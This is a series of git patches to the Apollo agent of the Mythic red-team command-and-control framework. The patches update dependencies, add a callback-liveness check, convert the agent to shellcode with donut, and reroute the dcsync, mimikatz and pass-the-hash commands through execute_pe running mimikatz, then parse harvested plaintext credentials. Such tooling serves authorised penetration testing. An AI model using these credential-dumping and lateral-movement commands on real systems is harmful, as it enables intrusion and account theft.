From 1e3b854d26d1e14863c4afb413d4bc9321951fb7 Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Wed, 10 Jul 2024 17:40:21 -0500 Subject: [PATCH 1/7] Mythic3.3 Initial update --- Payload_Type/apollo/Dockerfile | 2 +- .../apollo/mythic/agent_functions/builder.py | 59 ++++++++++++++++--- 2 files changed, 53 insertions(+), 8 deletions(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 79ecf1dc..cf568770 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.4.10 +RUN /venv/bin/python -m pip install mythic-container==0.5.0 RUN /venv/bin/python -m pip install donut-shellcode COPY [".", "."] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index febcd457..56856b03 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -1,7 +1,11 @@ +import datetime +import time + from mythic_container.PayloadBuilder import * from mythic_container.MythicCommandBase import * import os, fnmatch, tempfile, sys, asyncio from distutils.dir_util import copy_tree +from mythic_container.MythicGoRPC.send_mythic_rpc_callback_next_checkin_range import * import traceback import shutil import json @@ -17,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.5" + version = "2.2.6" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ @@ -26,9 +30,9 @@ class Apollo(PayloadType): supports_dynamic_loading = True build_parameters = [ BuildParameter( - name = "output_type", + name="output_type", parameter_type=BuildParameterType.ChooseOne, - choices=[ "WinExe", "Shellcode"], + choices=["WinExe", "Shellcode"], default_value="WinExe", description="Output as shellcode, executable, or dynamically loaded library.", ) @@ -68,7 +72,8 @@ async def build(self) -> BuildResponse: for key, val in c2.get_parameters_dict().items(): prefixed_key = f"{profile['name'].lower()}_{key}" if isinstance(val, dict) and 'enc_key' in val: - stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") + stdout_err += "Setting {} to {}".format(prefixed_key, + val["enc_key"] if val["enc_key"] is not None else "") # TODO: Prefix the AESPSK variable and also make it specific to each profile special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" @@ -89,7 +94,7 @@ async def build(self) -> BuildResponse: for csFile in get_csharp_files(agent_build_path.name): templateFile = open(csFile, "rb").read().decode() templateFile = templateFile.replace("#define C2PROFILE_NAME_UPPER", "\n".join(defines_profiles_upper)) - templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper) ) + templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper)) for specialFile in special_files_map.keys(): if csFile.endswith(specialFile): for key, val in special_files_map[specialFile].items(): @@ -159,13 +164,15 @@ async def build(self) -> BuildResponse: shellcode_path = "{}/loader.bin".format(agent_build_path.name) donutPath = os.path.abspath(self.agent_code_path / "donut") command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath) - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr= asyncio.subprocess.PIPE) + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() command = "{} -f 1 {}".format(donutPath, output_path) # need to go through one more step to turn our exe into shellcode proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) + stderr=asyncio.subprocess.PIPE, + cwd=agent_build_path.name) stdout, stderr = await proc.communicate() stdout_err += f'[stdout]\n{stdout.decode()}\n' @@ -211,6 +218,44 @@ async def build(self) -> BuildResponse: resp.build_message = "Error building payload: " + str(traceback.format_exc()) return resp + async def check_if_callbacks_alive(self, + message: PTCheckIfCallbacksAliveMessage) -> PTCheckIfCallbacksAliveMessageResponse: + response = PTCheckIfCallbacksAliveMessageResponse(Success=True) + for callback in message.Callbacks: + if callback.SleepInfo == "": + continue # can't do anything if we don't know the expected sleep info of the agent + try: + sleep_info = json.loads(callback.SleepInfo) + except Exception as e: + continue + atLeastOneCallbackWithinRange = False + try: + for activeC2, info in sleep_info.items(): + if activeC2 == "websocket" and callback.LastCheckin == "1970-01-01 00:00:00Z": + atLeastOneCallbackWithinRange = True + continue + checkinRangeResponse = await SendMythicRPCCallbackNextCheckinRange( + MythicRPCCallbackNextCheckinRangeMessage( + LastCheckin=callback.LastCheckin, + SleepJitter=info["jitter"], + SleepInterval=info["interval"], + )) + if not checkinRangeResponse.Success: + continue + lastCheckin = datetime.datetime.strptime(callback.LastCheckin, '%Y-%m-%dT%H:%M:%S.%fZ') + minCheckin = datetime.datetime.strptime(checkinRangeResponse.Min, '%Y-%m-%dT%H:%M:%S.%fZ') + maxCheckin = datetime.datetime.strptime(checkinRangeResponse.Max, '%Y-%m-%dT%H:%M:%S.%fZ') + if minCheckin <= lastCheckin <= maxCheckin: + atLeastOneCallbackWithinRange = True + response.Callbacks.append(PTCallbacksToCheckResponse( + ID=callback.ID, + Alive=atLeastOneCallbackWithinRange, + )) + except Exception as e: + logger.info(e) + logger.info(callback.to_json()) + return response + def get_csharp_files(base_path: str) -> list[str]: results = [] From 0b1607d26f6f55e91a94ad00beac5624ca816cc4 Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Thu, 1 Aug 2024 10:53:04 -0500 Subject: [PATCH 2/7] updating pypi version --- Payload_Type/apollo/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index d265a44b..821b966a 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.5.0 +RUN /venv/bin/python -m pip install mythic-container==0.5.3 RUN /venv/bin/python -m pip install donut-shellcode RUN /venv/bin/python -m pip install mslex From 658037fe644207bd838c323ba2ec8df357b952c0 Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Fri, 2 Aug 2024 14:53:26 -0500 Subject: [PATCH 3/7] updates for subtasking --- .../apollo/mythic/agent_functions/builder.py | 2 +- .../apollo/mythic/agent_functions/dcsync.py | 46 ++++++++-------- .../apollo/mythic/agent_functions/mimikatz.py | 52 ++++++++++--------- .../apollo/mythic/agent_functions/pth.py | 47 ++++++++--------- 4 files changed, 74 insertions(+), 73 deletions(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index f14ee8a8..e19a5f63 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.8" + version = "2.2.9" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py b/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py index 5ccf1d47..84aaa260 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py @@ -2,6 +2,7 @@ from os import path from mythic_container.MythicRPC import * import mslex +from .execute_pe import * class DcSyncArguments(TaskArguments): @@ -69,7 +70,7 @@ async def parse_credentials_dcsync( Success=True, TaskStatus="success", Completed=True ) responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID) + MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) ) for output in responses.Responses: mimikatz_out = str(output.Response) @@ -89,7 +90,7 @@ async def parse_credentials_dcsync( if passwd != "(null)": cred_resp = await MythicRPC().execute( "create_credential", - task_id=task.SubtaskData.Task.ID, + task_id=task.TaskData.Task.ID, credential_type="plaintext", account=uname, realm=realm, @@ -107,38 +108,37 @@ class DcSyncCommand(CommandBase): needs_admin = False help_cmd = "dcsync -Domain [domain] -User [user]" description = "Sync a user's Kerberos keys to the local machine." - version = 3 + version = 4 author = "@djhohnstein" argument_class = DcSyncArguments attackmapping = ["T1003.006"] - script_only = True + script_only = False completion_functions = {"parse_credentials_dcsync": parse_credentials_dcsync} async def create_go_tasking( self, taskData: PTTaskMessageAllData ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) arguments = taskData.args.get_arg("arguments") - response.DisplayParams = arguments - arguments = "lsadump::dcsync " + arguments - - await SendMythicRPCTaskCreateSubtask( - MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="execute_pe", - Params=json.dumps({ - "pe_name": "mimikatz.exe", - "pe_arguments": mslex.quote(arguments, for_cmd = False), - }), - SubtaskCallbackFunction="parse_credentials_dcsync", - ) - ) - return response + arguments = "lsadump::dcsync " + arguments + executePEArgs = ExecutePEArguments(command_line=json.dumps({ + "pe_name": "mimikatz.exe", + "pe_arguments": mslex.quote(arguments, for_cmd = False), + })) + await executePEArgs.parse_arguments() + executePECommand = ExecutePECommand(agent_path=self.agent_code_path, + agent_code_path=self.agent_code_path, + agent_browserscript_path=self.agent_browserscript_path) + # set our taskData args to be the new ones for execute_pe + taskData.args = executePEArgs + # executePE's creat_go_tasking function returns a response for us + newResp = await executePECommand.create_go_tasking(taskData=taskData) + # update the response to make sure this gets pulled down as execute_pe instead of mimikatz + newResp.CommandName = "execute_pe" + newResp.DisplayParams = arguments + newResp.CompletionFunctionName = "parse_credentials_dcsync" + return newResp async def process_response( self, task: PTTaskMessageAllData, response: any diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py b/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py index 83ca18c6..622c3570 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py @@ -2,6 +2,7 @@ from mythic_container.MythicRPC import * import json import mslex +from .execute_pe import * class MimikatzArguments(TaskArguments): @@ -34,6 +35,7 @@ async def parse_arguments(self): self.remove_arg("commands") + async def parse_credentials( task: PTTaskCompletionFunctionMessage, ) -> PTTaskCompletionFunctionMessageResponse: @@ -41,8 +43,9 @@ async def parse_credentials( Success=True, TaskStatus="success", Completed=True ) responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID) + MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) ) + logger.info(responses.Responses) for output in responses.Responses: mimikatz_out = str(output.Response) comment = "task {}".format(output.TaskID) @@ -61,7 +64,7 @@ async def parse_credentials( if passwd != "(null)": cred_resp = await SendMythicRPCCredentialCreate( MythicRPCCredentialCreateMessage( - TaskID=task.SubtaskData.Task.ID, + TaskID=task.TaskData.Task.ID, Credentials=[ MythicRPCCredentialData( credential_type="plaintext", @@ -84,7 +87,7 @@ class MimikatzCommand(CommandBase): needs_admin = False help_cmd = "mimikatz [command1] [command2] [...]" description = "Execute one or more mimikatz commands (e.g. `mimikatz coffee sekurlsa::logonpasswords`)." - version = 2 + version = 3 author = "@djhohnstein" argument_class = MimikatzArguments attackmapping = [ @@ -98,34 +101,33 @@ class MimikatzCommand(CommandBase): "T1552", "T1550", ] - script_only = True + script_only = False completion_functions = {"parse_credentials": parse_credentials} async def create_go_tasking( self, taskData: PTTaskMessageAllData ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - commandline = taskData.args.get_arg("commandline") - response.DisplayParams = commandline - - await SendMythicRPCTaskCreateSubtask( - MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="execute_pe", - Params=json.dumps( - { - "pe_name": "mimikatz.exe", - "pe_arguments": commandline, - } - ), - SubtaskCallbackFunction="parse_credentials", - ) - ) - return response + # we're going to call execute_pe, so prep args, parse them, and generate the command + executePEArgs = ExecutePEArguments(command_line=json.dumps( + { + "pe_name": "mimikatz.exe", + "pe_arguments": commandline, + } + )) + await executePEArgs.parse_arguments() + executePECommand = ExecutePECommand(agent_path=self.agent_code_path, + agent_code_path=self.agent_code_path, + agent_browserscript_path=self.agent_browserscript_path) + # set our taskData args to be the new ones for execute_pe + taskData.args = executePEArgs + # executePE's creat_go_tasking function returns a response for us + newResp = await executePECommand.create_go_tasking(taskData=taskData) + # update the response to make sure this gets pulled down as execute_pe instead of mimikatz + newResp.CommandName = "execute_pe" + newResp.DisplayParams = commandline + newResp.CompletionFunctionName = "parse_credentials" + return newResp async def process_response( self, task: PTTaskMessageAllData, response: any diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py index 9f94554f..683b9987 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py @@ -2,6 +2,7 @@ from mythic_container.MythicRPC import * import mslex import re +from .execute_pe import * def valid_ntlm_hash(hash): @@ -155,7 +156,7 @@ async def parse_arguments(self): "Selected credential is not a valid AES128 or AES256 key." ) else: # TODO: Add hash credential type check when Apollo supports tagging - # credential types in Mimikatz output + # credential types in Mimikatz output ntlm_hash = credential["credential"] if not valid_ntlm_hash(ntlm_hash): raise ValueError( @@ -179,7 +180,7 @@ async def parse_credentials( Success=True, TaskStatus="success", Completed=True ) responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.SubtaskData.Task.ID) + MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) ) for output in responses.Responses: mimikatz_out = str(output.Response) @@ -199,7 +200,7 @@ async def parse_credentials( if passwd != "(null)": cred_resp = await SendMythicRPCCredentialCreate( MythicRPCCredentialCreateMessage( - TaskID=task.SubtaskData.Task.ID, + TaskID=task.TaskData.Task.ID, Credentials=[ MythicRPCCredentialData( credential_type="plaintext", @@ -224,21 +225,16 @@ class PthCommand(CommandBase): description = ( "Spawn a new process using the specified domain user's credential material." ) - version = 3 + version = 4 author = "@djhohnstein" argument_class = PthArguments attackmapping = ["T1550"] - script_only = True + script_only = False completion_functions = {"parse_credentials": parse_credentials} async def create_go_tasking( self, taskData: PTTaskMessageAllData ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - user = taskData.args.get_arg("user") domain = taskData.args.get_arg("domain") @@ -261,21 +257,24 @@ async def create_go_tasking( run = mslex.quote(run, for_cmd = False) arguments += f" /run:{run}" - response.DisplayParams = arguments arguments = "sekurlsa::pth " + arguments - - await SendMythicRPCTaskCreateSubtask( - MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="execute_pe", - Params=json.dumps({ - "pe_name": "mimikatz.exe", - "pe_arguments": mslex.quote(arguments, for_cmd = False), - }), - SubtaskCallbackFunction="parse_credentials", - ) - ) - return response + executePEArgs = ExecutePEArguments(command_line=json.dumps({ + "pe_name": "mimikatz.exe", + "pe_arguments": mslex.quote(arguments, for_cmd = False), + })) + await executePEArgs.parse_arguments() + executePECommand = ExecutePECommand(agent_path=self.agent_code_path, + agent_code_path=self.agent_code_path, + agent_browserscript_path=self.agent_browserscript_path) + # set our taskData args to be the new ones for execute_pe + taskData.args = executePEArgs + # executePE's creat_go_tasking function returns a response for us + newResp = await executePECommand.create_go_tasking(taskData=taskData) + # update the response to make sure this gets pulled down as execute_pe instead of mimikatz + newResp.CommandName = "execute_pe" + newResp.DisplayParams = arguments + newResp.CompletionFunctionName = "parse_credentials" + return newResp async def process_response( self, task: PTTaskMessageAllData, response: any From 9f96bc7622e532b93dd6967cb9fd69f6156e4f9d Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Mon, 12 Aug 2024 15:17:59 -0500 Subject: [PATCH 4/7] update pypi version --- Payload_Type/apollo/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 821b966a..3f721575 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.5.3 +RUN /venv/bin/python -m pip install mythic-container==0.5.4 RUN /venv/bin/python -m pip install donut-shellcode RUN /venv/bin/python -m pip install mslex From 8b4ad5b37fdb3edeb1a171fcea94ea5266bce672 Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Wed, 21 Aug 2024 15:26:16 -0500 Subject: [PATCH 5/7] updating pypi and using new features --- Payload_Type/apollo/Dockerfile | 2 +- .../apollo/apollo/mythic/agent_functions/make_token.py | 4 +++- Payload_Type/apollo/apollo/mythic/agent_functions/pth.py | 1 + 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 3f721575..d610f0ff 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.5.4 +RUN /venv/bin/python -m pip install mythic-container==0.5.6 RUN /venv/bin/python -m pip install donut-shellcode RUN /venv/bin/python -m pip install mslex diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py index 45ee6769..da0fe0c4 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py @@ -11,7 +11,9 @@ def __init__(self, command_line, **kwargs): name="credential", cli_name="Credential", display_name="Credential", - type=ParameterType.Credential_JSON) + type=ParameterType.Credential_JSON, + limit_credentials_by_type=["plaintext"] + ) ] async def parse_arguments(self): diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py index 5b618085..357d0e7a 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/pth.py @@ -28,6 +28,7 @@ def __init__(self, command_line, **kwargs): display_name="Credential", type=ParameterType.Credential_JSON, description="Saved credential of the user to impersonate (either an NTLM hash or AES key).", + limit_credentials_by_type=["hash"], parameter_group_info=[ ParameterGroupInfo( ui_position=1, required=True, group_name="Credential" From 793448e9ddd8391706c7efc0b06d3e550c2e71c3 Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Wed, 28 Aug 2024 10:24:27 -0500 Subject: [PATCH 6/7] updating agent capabilities --- agent_capabilities.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent_capabilities.json b/agent_capabilities.json index 8fdcfe50..7f2f8cd2 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -10,7 +10,7 @@ "payload_output": ["exe", "shellcode"], "architectures": ["x86_64"], "c2": ["http", "smb", "tcp", "websocket"], - "mythic_version": "3.2", - "agent_version": "2.2.5", + "mythic_version": "3.3.0", + "agent_version": "2.2.13", "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] } \ No newline at end of file From 6cd55320d675684c921e5ab5d1d8d967c087e25b Mon Sep 17 00:00:00 2001 From: its-a-feature <codybthomas@gmail.com> Date: Wed, 28 Aug 2024 10:25:07 -0500 Subject: [PATCH 7/7] updating pypi --- Payload_Type/apollo/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index d610f0ff..2bf6097b 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -5,7 +5,7 @@ RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.5.6 +RUN /venv/bin/python -m pip install mythic-container==0.5.9 RUN /venv/bin/python -m pip install donut-shellcode RUN /venv/bin/python -m pip install mslex